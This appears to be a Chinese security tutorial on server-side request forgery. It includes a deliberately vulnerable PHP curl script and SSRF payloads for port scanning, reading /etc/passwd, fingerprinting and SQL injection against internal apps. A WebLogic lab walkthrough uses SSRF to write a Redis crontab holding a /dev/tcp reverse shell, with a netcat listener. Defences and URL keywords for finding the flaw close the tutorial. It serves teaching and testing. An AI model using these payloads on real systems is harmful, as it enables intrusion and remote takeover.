服务端请求伪造
1. 概述
服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。
1.1 SSRF 场景
1.1.1 PHP 原理
curl(命令行工具),wget都是命令行下的浏览器,模拟浏览器
CURL下载网络资源:curl+空格+资源地址+-O
wget下载网络资源:wget+资源地址
利用curl 实现,需要PHP 扩展组件curl 支持。
<?php
// ssrf_curl.phpif(isset($_REQUEST['url']))//判断是否提交了url这个参数,否则会提示提交url
{$link = $_REQUEST['url'];//url参数赋值给$link$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);//创建一个对象做curl对象的初始化$fp = fopen($fileName,'w');//初始化之后会打开一个文件,这个文件在curled文件夹下curl_setopt($curlObj,CURLOPT_FILE,$fp);//把请求的内容写到$fp中curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);//服务器通过提交的url发起请求curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}
else
{echo "?url=[url]";
}?>
将上述代码复制到部署了phpstudy的服务器上
使用浏览器访问curl.php网页
然后在url中输入?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif
当我们向服务器提交URL的时候,服务器会代替我们发送请求(大多数时候是GET请求),如果这个请求是恶意的,并且服务器没有识别能力,那么可能会造成服务端请求伪造(SSRF)漏洞。如果说攻击者使用SSRF进行其他漏洞攻击的话(攻击者利用其他服务器,先向服务器提交URL然后服务器代替攻击者向被攻击者发出HTTP请求),那么被攻击者在受到攻击,进行攻击回溯的时候很难找到攻击者。
1.2 SSRF 原理
服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
没对响应的结果进行检验,直接输出。
1.3 SSRF 危害
-
端口扫描;
-
内网Web 应用指纹识别;
-
攻击内网应用;
-
读取本地文件;
2. SSRF 攻防
CTF:CTFHub
2.1 SSRF 利用
2.1.1 文件访问
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
我们看到的不是真正的百度网页,我们看到的网站是192.168.16.136
,而百度网页是192.168.16.136
网址通过curl.php脚本通过提交的url地址访问到的内容给我们呈现出来的。
2.1.2 端口扫描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
2.1.3 读取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd?url=file:C:\phpStudy_20161103\WWW\ssrf\curl.php
2.1.4 内网应用指纹识别
有些应用是部署在内网的。
<Directory "C:\phpStudy_20161103\WWW\phpMyAdmin"> #Order allow,denyOrder deny,allow deny from allallow from 127.0.0.1</Directory>
通过修改httpd.conf内容,将上述代码复制到httpd.conf中的DocumentRoot(文档根目录)下
修改完httpd.conf后,将phpstudy重启,重新在其他客户机上访问本机地址
那么就会只允许127.0.0.1访问phpmyadmin
内网应用指纹识别。
?url=http://127.0.0.1/phpmyadmin/readme
2.1.5 攻击内网web应用
内网安全通常都很薄弱。
通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。
将cms设置为只允许127.0.0.1访问
<Directory "C:\phpStudy_20161103\WWW\cms"> #Order allow,denyOrder deny,allow deny from allallow from 127.0.0.1</Directory>
通过ssrf访问cms
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
?url=http://127.0.0.1/cms
?url=http://127.0.0.1/cms/show.php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
使用空格间隔的话会出错,不会回显。空格使用/**/代替
2.2 SSRF 实例
Weblogic SSRF 到GetShell
cd到vulhub/weblogic/ssrf下
sudo docker-compose up -d
访问本机地址的7001端口
访问
http://192.168.16.176:7001/uddiexplorer/SearchPublicRegistries.jsp
点击search然后使用bp抓包,将数据包发到重发器,点击发送(send)
报错中有www-3.ibm.com而post请求数据包中提交的operator参数也有一条www-3.ibm.com,并且是在一条url中,那么此处很有可能存在ssrf漏洞
那么在dnslog中生成一个域名,测试operator参数会不会对其提交的数据进行解析(测试operator参数对其内容中的url会不会做出请求)
证明测试operator参数对其内容中的url做出请求
更换url为127.0.0.1再次尝试测试
可知80端口没有开放
在测试7001,7002端口
对本机端口进行探测,目标一般开的是docker环境。docker环境的内网IP范围:172.16.0.1,172.17.0.1,172.18.0.1,172.19.0.1
172.16.0.1:7001,172.17.0.1:7001,172.18.0.1:7001,172.19.0.1:7001结果一样,证明16,17,18,19,20都有7001端口
然而172.20.0.2没有开放7001端口,但是可能开放其他端口
有redis表示可以读取数据,写数据或写ssh公钥,获取webshell,周期性计划任务。因为80端22端没有开放,并且无回显,尝试写入周期性计划任务获得shell
使用瑞士军刀扫描21端口
nc -lnvp 21
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.16.176/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
因为计划任务需要通过http提交,将计划任务进行url编码
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
http://172.20.0.2:6379/xj%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Axj
点击提交,随后获得docker的反弹shell
2.3 SSRF 防御
2.3.1 过滤输入
- 限制协议,仅允许 http 或 https 协议;
- 限制IP,避免应用被用来获取内网数据,攻击内网;
- 限制端口,限制请求端口为常用端口。
2.3.2 过滤输出
-
过滤返回信息,只要不符合要求的,全部过滤;
-
统一错误信息,让攻击无法对内网信息进行判断。
3. SSRF 挖掘
Web 功能 | URL 关键字 |
---|---|
分享 转码服务 在线翻译 图片加载与下载 图片、文章收藏功能 未公开的API 实现 | share wap url link src source target u 3g display sourceURL imageURL domain |